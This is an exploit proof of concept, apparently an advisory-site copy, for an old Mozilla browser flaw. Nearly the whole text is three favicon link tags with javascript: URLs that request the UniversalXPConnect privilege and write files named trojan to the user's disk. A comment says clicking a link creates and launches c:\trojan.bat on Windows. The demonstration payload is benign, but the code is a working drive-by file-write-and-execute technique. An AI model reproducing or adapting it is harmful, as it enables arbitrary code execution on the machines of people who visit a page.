// FrSIRT Comment : If a user clicks on a link, this code will create and // launch the file c:\trojan.bat (on Windows). // On Linux and Mac OS X this code will create the file ~/trojan or /trojan

<link rel="SHORTCUT ICON" href="favicon.ico"> <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow ('javascript:netscape.security.PrivilegeManager.enablePrivilege (\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(\'c:\\\\trojan.bat\');file.createUnique(Components.interfaces.nsIFile .NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/ network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFile OutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output, output.length);outputStream.close();file.launch();','','')"> <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript: netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\'); file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components .interfaces.nsILocalFile);file.initWithPath(\'/trojan\');file.createUnique(Components .interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes [\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces .nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0); output=\'trojan!\';outputStream.write(output,output.length);outputStream.close();','','')"> <link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape .security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components .classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile); file.initWithPath(\'~/trojan\');file.createUnique(Components.interfaces.nsIFile .NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'trojan!\';outputStream. write(output,output.length);outputStream.close();','','')">
Click HERE